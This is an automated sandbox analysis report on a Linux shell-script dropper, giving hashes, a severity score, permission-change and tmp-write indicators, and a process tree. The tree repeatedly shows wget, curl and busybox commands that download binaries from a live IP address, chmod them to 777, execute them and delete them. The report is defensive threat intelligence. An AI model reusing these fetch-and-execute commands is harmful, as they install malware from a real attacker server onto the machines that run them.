7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e

Analysis

max time kernel
28s
max time network
132s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
08/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
Size 10KB
Sample241108-dmlevswphj
SHA256 7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e
MD5 537340669519cf5516bad109b8620b9d
SHA1 7193a11d35a3afc922db3777c99ee3f7e1ac79c1
SHA512 3804b241461a637f6c1d3423bc5177b84769f29e560007679c5970dac3ea6f8dc54f8ea137fa1691da5ac861b5c1eaabf70ef40619832ced769aedebe11150cd
SSDEEP 192:8sZ42kcyuinTgXH3Wy8ETSwYyJtjwYyJtm4Z42kZuilXH3Wyb:dNyuinTgXH3Wy8ETSwYyJtjwYyJtB8uQ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1565	chmod
1607	chmod
1631	chmod
1504	chmod
1511	chmod
1535	chmod
1655	chmod
1571	chmod
1577	chmod
1613	chmod
1589	chmod
1601	chmod
1619	chmod
1529	chmod
1583	chmod
1625	chmod
1643	chmod
1649	chmod
1559	chmod
1667	chmod
1541	chmod
1637	chmod
1517	chmod
1523	chmod
1547	chmod
1553	chmod
1595	chmod
1661	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl

/tmp/7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
/tmp/7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
1⤵
PID:1495
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:1497
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:1503
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:1505
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:1507
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:1510
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:1512
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:1513
- /usr/bin/wget
  wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:1514
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:1516
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:1518
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:1520
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:1522
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:1524
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:1526
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:1528
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:1530
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:1532
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:1534
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:1536
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:1538
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:1540
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:1542
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1544
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1546
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:1548
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1549
- /usr/bin/wget
  wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:1550
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:1552
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:1553
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:1554
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:1556
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:1558
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:1560
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:1562
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:1564
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:1566
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:1567
- /usr/bin/wget
  wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:1568
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:1570
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:1572
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:1573
- /usr/bin/wget
  wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:1574
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Writes file to tmp directory
  PID:1575
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:1576
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:1578
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:1580
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Writes file to tmp directory
  PID:1581
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:1582
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:1584
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:1585
- /usr/bin/wget
  wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:1586
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Writes file to tmp directory
  PID:1587
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:1588
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:1589
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:1590
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:1591
- /usr/bin/wget
  wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:1592
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:1594
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:1596
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:1597
- /usr/bin/wget
  wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:1598
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:1600
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:1602
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:1603
- /usr/bin/wget
  wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:1604
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Writes file to tmp directory
  PID:1605
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:1606
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:1607
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:1608
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:1609
- /usr/bin/wget
  wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:1610
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Writes file to tmp directory
  PID:1611
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:1612
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:1614
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:1615
- /usr/bin/wget
  wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:1616
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Writes file to tmp directory
  PID:1617
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:1618
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:1619
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:1620
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:1621
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:1622
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Writes file to tmp directory
  PID:1623
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:1624
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:1625
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:1626
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:1627
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:1628
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Writes file to tmp directory
  PID:1629
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:1630
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:1631
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:1632
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:1633
- /usr/bin/wget
  wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:1634
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Writes file to tmp directory
  PID:1635
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:1636
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:1637
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:1638
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:1639
- /usr/bin/wget
  wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:1640
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Writes file to tmp directory
  PID:1641
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:1642
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:1643
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:1644
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:1645
- /usr/bin/wget
  wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:1646
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Writes file to tmp directory
  PID:1647
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:1648
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:1649
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:1650
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:1651
- /usr/bin/wget
  wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:1652
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Writes file to tmp directory
  PID:1653
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:1654
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:1655
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:1656
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:1657
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:1658
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Writes file to tmp directory
  PID:1659
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:1660
- /bin/chmod
